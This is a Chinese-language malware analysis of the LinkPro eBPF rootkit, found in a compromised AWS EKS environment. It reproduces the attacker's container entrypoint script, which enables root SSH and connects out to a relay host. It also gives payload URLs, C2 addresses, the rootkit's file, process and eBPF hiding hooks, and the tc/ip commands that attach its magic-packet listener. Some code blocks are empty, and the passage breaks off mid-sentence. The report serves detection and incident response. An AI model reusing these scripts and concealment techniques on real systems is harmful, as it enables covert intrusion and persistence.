LinkPro: eBPF rootkit分析
在对一起AWS托管基础设施入侵事件的数字调查中,发现了一个针对GNU/Linux系统的隐蔽后门。该后门的功能依赖于安装两个eBPF模块:一个用于隐藏自身,另一个在接收到“魔法包”后被远程激活。本文详细介绍了该rootkit的功能,并展示了在此案例中观察到的感染链,该感染链使其得以安装在AWS EKS环境的多个节点上。
引言
eBPF(扩展的伯克利包过滤器)是一项在Linux中被广泛采用的技术,因其众多的用例(可观测性、安全、网络等)以及能够在内核上下文中运行同时从用户空间进行编排的能力。威胁行为者越来越多地滥用它来创建复杂的后门,并规避传统的系统监控工具。 诸如BPFDoor、Symbiote和J-magic等恶意软件证明了eBPF在创建被动后门方面的有效性,这些后门能够监控网络流量并在收到特定的“魔法包”时激活。此外,更复杂的开源工具如ebpfkit(概念验证)和eBPFeXPLOIT,以及用Golang开发的编排器,可作为rootkit使用,其功能范围从建立秘密命令与控制通道到进程隐藏和容器规避技术。 最近在调查一个被入侵的AWS托管基础设施时,Synacktiv CSIRT确定了一个相对复杂的感染链,导致在GNU/Linux系统上安装了一个隐蔽的后门。该后门依赖于安装两个eBPF模块:一个用于隐藏自身,另一个在收到“魔法包”时被远程激活。
感染链
取证分析确定暴露在互联网上的一个存在漏洞的Jenkins服务器(CVE-2024-23897)是入侵的来源。该服务器随后成为威胁行为者转移到集成和部署管道的初始接入点,该管道托管在Amazon EKS(弹性Kubernetes服务,标准模式)的几个集群上。
从Jenkins服务器,威胁行为者在多个Kubernetes集群上部署了一个名为kvlnt/vv的恶意Docker镜像(在我们注意到后,该镜像在被Docker Hub支持人员删除之前托管在hub.docker.com上)。该Docker镜像包含一个Kali Linux基础镜像和两个附加层。
这些层将/app文件夹添加为工作目录,然后向其中添加三个文件:
/app/start.sh:一个bash脚本,用作Docker镜像的入口点。其目的是启动ssh服务,执行/app/app后门和/app/link程序。1 2 3 4 5#!/bin/bash sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config /etc/init.d/ssh start ./app & ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp/app/link:一个名为vnt的开源程序,充当VPN服务器并提供代理功能。它连接到社区中继服务器vnt.wherewego.top:29872。这允许威胁行为者从任何IP地址连接到被入侵的服务器,并将其用作代理以访问基础设施上的其他服务器。在/app/start.sh脚本中指定的命令行参数如下:-k ooonnn:标识中继服务器上虚拟VLAN的令牌。-w mmm000:用于加密客户端之间通信的密码(AES128-GCM)。-W:启用客户端和服务器之间的加密(RSA+AES256-GCM),以防止令牌泄露和中间人攻击。-o 0.0.0.0/0:允许转发到所有网段。
/app/app:一个下载器恶意软件,用于从S3存储桶检索加密的恶意负载。联系的URL是https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png。在观察到的案例中,这是一个在内存中的vShell 4.9.3负载,通过WebSocket与其命令与控制服务器(56.155.98.37)通信。Synacktiv CSIRT将此下载器命名为vGet,因为在此案例中它与vShell有直接联系。
vShell是一个已有文档记录的后门,特别是被UNC5174使用。其源代码大约一年前已在GitHub上不可用。然而,一个较新的版本4.9.3及其(破解的)许可证可供下载,允许各种行为者使用vShell。
但是,没有关于vGet的开源发布,它是用Rust开发的并且被剥离了符号。该恶意代码在执行开始时创建一个指向/dev/null的符号链接/tmp/.del,然后下载vShell负载。vShell在执行期间,当打开终端时(在操作员请求时)会初始化HISTFILE=/tmp/.del环境变量。目的是确保命令历史不会写入文件(例如.bash_history)。因此,这两个程序之间可能存在联系,并且vGet可能是专门为直接在内存中执行vShell而开发的,不在磁盘上留下痕迹。
vGet — 从/dev/null到/tmp/.del的符号链接
恢复的vGet样本几乎没有符号,除了对绝对路径中定义的Rust依赖项里用户名cosmanking的引用,例如:
/Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs
关于Docker镜像,配置了以下挂载点:
- 挂载点:
/mnt - 源(宿主机):
/ - 目标(容器):
/mnt - 访问:读写
- 类型:绑定
此配置允许威胁行为者逃脱容器上下文(正在运行的镜像),以root权限访问根分区的整个文件系统。
从kvlnt/vv pod的/app/app(vGet)进程,执行了一个cat命令,目的是检索宿主机上(特别是其他pod中)可用的凭据(身份验证令牌、API密钥、证书…)。以下是该命令的简短摘录:
|
|
在部署此Docker镜像几周后,在几个Kubernetes节点以及生产服务器上观察到了另外两个恶意代码的执行。后者尤其受到攻击团伙出于财务动机的针对。 第一个恶意代码是一个嵌入另一个vShell后门(v4.9.3)的投放器,这次通过DNS隧道进行通信。关于该投放器,它与SNOWLIGHT不相似(SNOWLIGHT已在一些用于投放vShell的公开资料中被观察到),但目的相同。解密过程分两步进行。以下是Synacktiv CSIRT分析的样本摘录:
- 步骤1:解密第一个shellcode,直接执行。
- 步骤2:shellcode解密并将嵌入的ELF vShell后门加载到其内存中。 最后,最终负载(未公开记录的,Synacktiv CSIRT将其命名为LinkPro)是一个利用eBPF技术的后门,由于其隐蔽性、持久性和内部网络穿透能力,可以被称为rootkit。
LinkPro Rootkit
LinkPro针对GNU/Linux系统,使用Golang开发。Synacktiv CSIRT将其命名为LinkPro,参考了定义其主模块的符号:github.com/link-pro/link-client。GitHub账户link-pro没有公开的仓库或贡献。LinkPro使用eBPF技术仅在接收到“魔法包”时激活,并在受感染系统上隐藏自身。
LinkPro Rootkit样本
| SHA256 | 文件类型 | 文件大小 | 威胁 | 观察到的文件名 |
|---|---|---|---|---|
| d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b | ELF 64-bit LSB executable, x86-64 | 8710464 字节 | Linux Rootkit | .tmp |
| 1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964 | ELF 64-bit LSB executable, x86-64 | 8710464 字节 | Linux Rootkit | .tmp |
LinkPro嵌入四个ELF模块:一个共享库、一个内核模块和两个eBPF模块:
LinkPro嵌入式ELF程序(Malcat视图)
以下是不同的ELF模块详情。但是,内核模块从未被LinkPro使用(没有实现加载它的函数)。
LinkPro嵌入式ELF二进制文件
| SHA256 | 类型 | 大小 |
|---|---|---|
| b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 | 共享对象 | 14.2 KiB |
| 9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 | 内核对象 | 573.0 KiB |
| 364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 | BPF | 18.8 KiB |
| b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 | BPF | 35.4 KiB |
配置与通信
根据其定义的配置,LinkPro可以以两种方式运行:被动或主动。其配置通过两种不同的方式获取:
- 要么嵌入在二进制文件中,以JSON结构化,并以关键字
CFG0为前缀, - 要么其默认参数直接硬编码在main函数中。在两种样本中都观察到此方法。 最后,命令行参数也被考虑在内,以在运行时修改默认值:
|
|
在调查中观察到的-addsvc参数用于激活持久化机制。
以下是LinkPro实现的配置结构:
|
|
ConnectionMode有两种可能的值:reverse或forward。
reverse连接模式对应于被动模式,后门在此模式下监听来自C2的命令。在此模式下,安装了两个eXpress Data Path和Traffic Control类型的eBPF程序,目的是仅在接收到特定TCP包时才激活C2通信通道。forward连接模式对应于主动模式,后门在此模式下启动与其C2服务器的通信。在此模式下,不安装XDP/TC eBPF程序。
在受感染信息系统上识别的两个样本具有以下配置:
LinkPro TailConfig
| d5b2202b | 1368f3a8 | |
|---|---|---|
| 被动模式 HTTP | 主动模式 HTTP | |
| ServerAddress | 1.1.1.1 (未使用) | 18.199.101.111 |
| ServerPort | 6666 | 2233 |
| SecretKey | 0 | 3344 |
| SleepTime | 10 | 10 |
| JitterTime | 2 | 2 |
| Protocol | http | http |
| DnsDomain | dns.example.com | dns.example.com |
| DNSMode | tunnel | tunnel |
| DnsServer | 0 | 0 |
| Debug | false | false |
| Version | 1.0.0 | 1.0.0 |
| ConnectionMode | reverse | forward |
| ReversePort | 2233 | 2233 |
DNS字段仅在通过DNS协议通信时使用。 解析配置后,LinkPro使用以下信息生成唯一的客户端ID:
|
|
Machine ID对应于/etc/machine-id中的值,或者(如果不存在)在/proc/sys/kernel/random/boot_id中的值。
对于forward(主动)模式,有五种可能的通信协议:
- HTTP
- WebSocket
- UDP(原始)
- TCP(原始)
- DNS(直接/隧道)
对于reverse(被动)模式,只使用HTTP协议。提供三个URL:
/reverse/handshake:识别操作员的ID(server_id http请求参数)并返回状态success。/reverse/heartbeat:返回客户端的信息(如果指定了request_client_info参数)并返回状态ok。/reverse/operation:执行操作员的命令。
交换以JSON结构化,并使用配置中指定的SecretKey XOR密钥加密。
然后,按此顺序执行以下步骤:
- 安装“Hide” eBPF模块
- 如果“Hide”模块安装失败,或者已被禁用(
-ebpf 0命令行参数):在/etc/ld.so.preload中安装共享库 - 如果使用reverse模式,安装“Knock” eBPF模块
- 安装持久化
- 执行C2命令
- 中断时,删除各个模块
被动样本d5b2202b用于说明以下描述。
LD PRELOAD 模块
LinkPro LD PRELOAD 模块样本
| SHA256 | 文件类型 | 文件大小 | 威胁 | 观察到的文件名 |
|---|---|---|---|---|
| b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 | ELF 64-bit LSB shared object, x86-64 | 14552 字节 | Linux 动态链接器劫持 | libld.so |
LinkPro修改/etc/ld.so.preload配置文件,指定其嵌入的libld.so共享库的路径,目的是隐藏可能揭示后门存在的各种痕迹。libld.so的不同步骤如下:
- 在内存中保存
/etc/ld.so.preload的内容 - 将嵌入在LinkPro二进制文件中的
libld.so提取到/etc/libld.so- 如果需要,将
/etc以读写权限挂载:mount -o remount,rw /etc
- 如果需要,将
- 分配足够的权限,使
libld.so可以被所有用户加载和执行:chmod 0755 /etc/libld.so - 将
/etc/ld.so.preload文件的内容替换为/etc/libld.so
由于/etc/ld.so.preload中存在/etc/libld.so路径,LinkPro安装的libld.so共享库会被所有需要/lib/ld-linux.so的程序加载。这包括所有使用共享库的程序,例如glibc。
一旦libld.so在程序执行时被加载(例如/usr/bin/ls),它会挂接(在glibc之前)几个libc函数,以修改可能揭示LinkPro存在的结果。以下是观察到的被挂接函数的行为:
fopen和fopen64:libld.so挂接检查进程是否尝试打开/proc/net/tcp、/proc/net/tcp6、/proc/net/udp或/proc/net/udp6。这些文件提供有关活动TCP/UDP连接的信息。如果是,则执行真实的fopen函数。然后,恶意库检索这些文件的内容并删除LinkPro的网络痕迹。确实,任何包含源端口或目标端口2233(LinkPro的监听端口)的行都会被删除。最后,如果进程尝试打开名为ld.so.preload的文件,则返回“No Such File Or Directory”错误。 修改内容的forge_proc_net_tcp函数的伪代码 关于网络信息,netstat使用/proc/net文件来显示正在进行的连接。相比之下,ss使用netlink协议来检索此信息。因此,可以使用ss命令检测机器上监听的端口2233,如下图所示(openat是fopen使用的系统调用): LinkPro内部端口检测 netstat 与 ss 此外,LinkPro进程名称未在ss命令的输出中指示(如果添加-p标志),这要归功于下面解释的getdents挂接。getdents和getdents64:getdents系统调用用于列出目录中的文件。在这种情况下,libld.so执行getdents,然后检查是否存在:- 包含关键字
.tmp~data(Linkpro后门)、libld.so、sshids和ld.so.preload的文件名。 - 命令行包含关键字
.tmp~data的进程目录(在/proc/下,即PID)。 如果找到,则用下一个条目覆盖dirent条目。 覆盖要隐藏文件的dirent条目 注意:符号toyincang和toyincanglib指定关键字.tmp~data和libld.so。“toyincang”可以用普通话拼音解释为“to conceal”。
- 包含关键字
kill:kill系统调用允许向进程发送信号,并将目标的PID作为参数。libld.so实现的挂接检查目标进程的命令行(/proc/<pid>/cmdline)是否存在关键字.tmp~data(Linkpro后门)。如果找到,则不执行libc的kill函数。open和open64:如果进程尝试打开名为ld.so.preload的文件,则返回“No Such File Or Directory”错误。readdir和readdir64:libld.so挂接执行合法的readdir函数(列出目录中的文件),然后检查是否存在:- 包含关键字
.tmp~data、libld.so、sshids、ld.so.preload和.system(激活持久化机制后包含LinkPro的文件夹)的文件名。 - 命令行包含关键字
.tmp~data的进程目录(在/proc/下,即PID)。 如果找到,readdir挂接返回空结果。
- 包含关键字
下图展示了libld.so效果的演示。指定-ebpf 0命令行参数以显式禁用“Hide”模块,从而激活LD Preload库。
libld.so加载示例
总之,由LinkPro加载的libld.so试图从其他动态链接的程序中隐藏LinkPro后门和libld.so本身的网络痕迹(监听或目标端口)和文件系统痕迹。
“Hide” eBPF 模块
LinkPro “Hide” eBPF 模块样本
| SHA256 | 文件类型 | 文件大小 | 威胁 |
|---|---|---|---|
| b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 | ELF 64-bit LSB relocatable, eBPF | 36224 字节 | Linux eBPF Rootkit |
“Hide”模块由多个Tracepoint和Kretprobe类型的eBPF程序组成。
Tracepoint类型的eBPF程序是附加到Linux内核定义的静态跟踪点的程序。它们被放置在内核代码中的特定位置,例如在系统调用、内存分配、任务调度等上。特别是,系统调用的跟踪点位于入口(tracepoint/syscalls/sys_enter_syscall)或退出(tracepoint/syscalls/sys_exit_syscall)。
Kprobes允许将eBPF程序附加到内核中的几乎任何函数(其入口点)。而Kretprobes在函数返回时触发。这允许拦截和修改系统调用的结果。
LinkPro rootkit安装这些eBPF程序,并利用它们的能力来隐藏其进程和网络活动。
“Hide”模块安装
首先,LinkPro使用ebpf-go模块将嵌入的“Hide” ELF模块解析为特定对象(CollectionSpec)。可以在内存中找到加载的Hide模块的不同eBPF对象,即maps和programs。Maps是可以在程序之间共享的数据结构。
LinkPro更新pids_to_hide_map map,包含LinkPro的当前PID(进程ID)以及命令行上指定的PID列表(-pid参数)。
LinkPro更新main_ebpf_progs map,添加LinkPro加载的eBPF程序(“Hide”和“Knock”模块)的文件描述符。
LinkPro然后创建BPF links,将eBPF程序附加到内核中的检测点。LinkPro后门加载的“Hide” eBPF模块在getdents和getdents64系统调用上添加钩子,与libld.so共享库的目标相同,即隐藏LinkPro特定的文件。此外,钩子被放置在sys_bpf系统调用的入口和出口,以隐藏其eBPF maps和程序。以下是实现的钩子:
tracepoint/syscalls/sys_enter_getdents->HandleGetdentsEntertracepoint/syscalls/sys_enter_getdents64->HandleGetdents64Entertracepoint/syscalls/sys_exit_getdents->HandleGetdentsExittracepoint/syscalls/sys_exit_getdents64->HandleGetdents64Exittracepoint/syscalls/sys_enter_bpf->HandleBpfEnterkretprobe/sys_bpf->HandleBpfExit
handle_getdents
附加到getdents和getdents64跟踪点的函数行为类似于libld.so。getdents系统调用(sys_exit_getdents)的结果被拦截。eBPF程序设置过滤器以隐藏:
- 特定文件和目录:任何包含关键字
.tmp~data或.system的条目。 - 特定进程:其标识符(PID)在
pids_to_hideeBPF map中列出(最多可包含10个PID)的进程目录(在/proc/下)也被隐藏。
getdents系统调用返回一个dirent结构体的链表,其中每个结构体代表一个文件或目录,并包含其名称、inode和条目大小等信息,这允许计算下一个元素的位置。与libld.so在getdents上的钩子不同,dirent条目不会被下一条记录直接覆盖。
以下是修改dirent结构体链表以隐藏名为.tmp~data.resolveld的文件的方式。
eBPF修改前
该列表是一系列记录。每个dirent通过其自身长度(d_reclen)隐式指向下一个。
|
|
d_reclen值作为示例任意给出。
eBPF修改后
eBPF程序检测到.tmp~data.resolveld。然后修改前一条记录(文件A)的长度(d_reclen),将.tmp~data.resolveld的长度加进去。
|
|
相同的技术在eBPFeXPLOIT项目中实现,并添加了要隐藏的文件名和目录。
handle_ebpf
实现了两个函数:HandleBpfEnter,链接到syscall/sys_enter/bpf跟踪点,和HandleBpfExit,链接到sys_bpf的Kretprobe。此处的目的是从bpftool等工具中隐藏eBPF程序的存在。观察到的代码与在EBPFeXPLOIT项目中实现的代码基本相同,除了添加了额外的检查和两次bpf_printk调用(可能用于调试)。
|
|
bpf_printk的输出记录在特殊文件/sys/kernel/debug/tracing/trace_pipe中。需要root权限才能读取其内容:
|
|
handlerBpfEnter跟踪点将BPF_PROG_GET_NEXT_ID、BPF_MAP_GET_NEXT_ID和BPF_LINK_GET_NEXT_ID类型的BPF命令保存在一个map中。sys_bpf系统调用执行后,触发handlerBpfExit钩子。
检索到相关命令的结构,现在包含系统调用的结果,即下一个程序、map或link的ID。
如果cmd_info.attr_pr.next_id的值等于main_ebpfs_progs map中存在的对象之一的ID,则sys_bpf的返回值被替换为-ENOENT(没有这样的文件或目录)。
相邻的图片展示了“Hide”模块加载的演示(-ebpf 1参数,默认值),从bpftool实用程序中隐藏eBPF程序:
隐藏BPF程序
注意,eBPF maps和links的FDs没有被LinkPro包含在main_ebpf_progs map中,这是一个错误:尽管程序被正确隐藏,但仍然可以列出它们的eBPF maps和links,以及与LinkPro关联的PID。
检测与LinkPro关联的eBPF links
另一个重点是,bpf_override_return辅助函数仅在Linux内核编译时启用了CONFIG_BPF_KPROBE_OVERRIDE配置选项时才可用。例如,相对较新的Amazon Linux内核或Ubuntu 24.04就是这种情况。如果所需的内核选项未启用,BPF验证器将拒绝该程序并阻止“Hide”模块加载。如果失败,则使用加载libld.so库的替代方法,作为后备解决方案以隐藏部分LinkPro的痕迹。
“Knock” eBPF 模块
LinkPro “Knock” eBPF 模块样本
| SHA256 | 文件类型 | 文件大小 | 威胁 |
|---|---|---|---|
| 364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 | ELF 64-bit LSB relocatable, eBPF | 19249 字节 | Linux eBPF Rootkit |
“Knock”模块包含两个由LinkPro加载的eBPF程序。
第一个称为xdp_ingress,是XDP类型。
XDP提供了一种通过eBPF程序处理网络数据包的机制。它位于处理链的非常早期,在驱动程序级别,处于经典Linux网络栈的上游。XDP eBPF程序使用返回码(例如XDP_PASS、XDP_DROP、XDP_REDIRECT)来确定Linux内核应对网络数据包采取的操作。
内核中XDP的网络数据包流
第二个称为tc_egress,是TC类型。
tc是iproute2包引入的工具,允许控制接口上的传入(ingress)和传出(egress)网络流量。可以将BPF程序附加到不同的TC控制点,例如在发送数据包之前过滤某些数据包。TC位于驱动程序和网络栈之间,即XDP的下游。XDP程序只能附加到传入流量,不能附加到传出流量,这在此上下文中证明了使用TC的合理性。
Egress (TX) 图与 TC 钩子
“Knock”模块安装
安装xdp_ingress和tc_egress程序需要几个步骤。
- 检测用于与Internet通信的网络接口(例如
eth0)。 - 在BPF FS中创建一个
fire目录。路径:/sys/fs/bpf/fire。BPF FS是一个伪虚拟文件系统(仅驻留在内存中),允许存储BPF程序和maps,以及pinned objects(允许通过BPF FS中的伪文件保持对这些对象的引用,以确保它们的持久性)。 - 将“Knock”模块加载到内存中(CollectionSpec对象)。
- 使用LinkPro配置中
reverse_port属性的值更新conf_mapBPF map:在此上下文中为端口2233。 - 安装
xdp_ingress程序:- 解绑已链接到网络接口的任何XDP程序:
ip link set dev eth0 xdp off - 通过创建BPF link将
xdp_ingress程序附加到网络接口。
- 解绑已链接到网络接口的任何XDP程序:
- 安装
tc_egress程序- 将
tc_egress程序pin到/sys/fs/bpf/fire/tc_egress。这意味着它已被另一个进程(LinkPro)加载到内存中,并已被pin在BPF虚拟文件系统(bpffs)中。 - 通过以下
tc命令将tc_egress程序附加到网络接口:- 准备接口:
tc qdisc replace dev eth0 clsact- 在eth0接口上创建或替换队列规则(qdisc)为clsact(分类器动作),为过滤器提供两个附加点,ingress(传入数据包)和egress(传出数据包)。 - 清理传出流量上的旧过滤器:
tc filter del dev eth0 egress - 将
tc_egress程序附加到网络接口的egress钩子:tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egressproto all:过滤器适用于所有协议的数据包prio 1:过滤器以最高优先级执行handle 1:创建的过滤器的标识符bpf:表示过滤器是BPF程序da(或direct-action):意味着eBPF程序的返回值(例如TC_ACT_OK以
- 准备接口:
- 将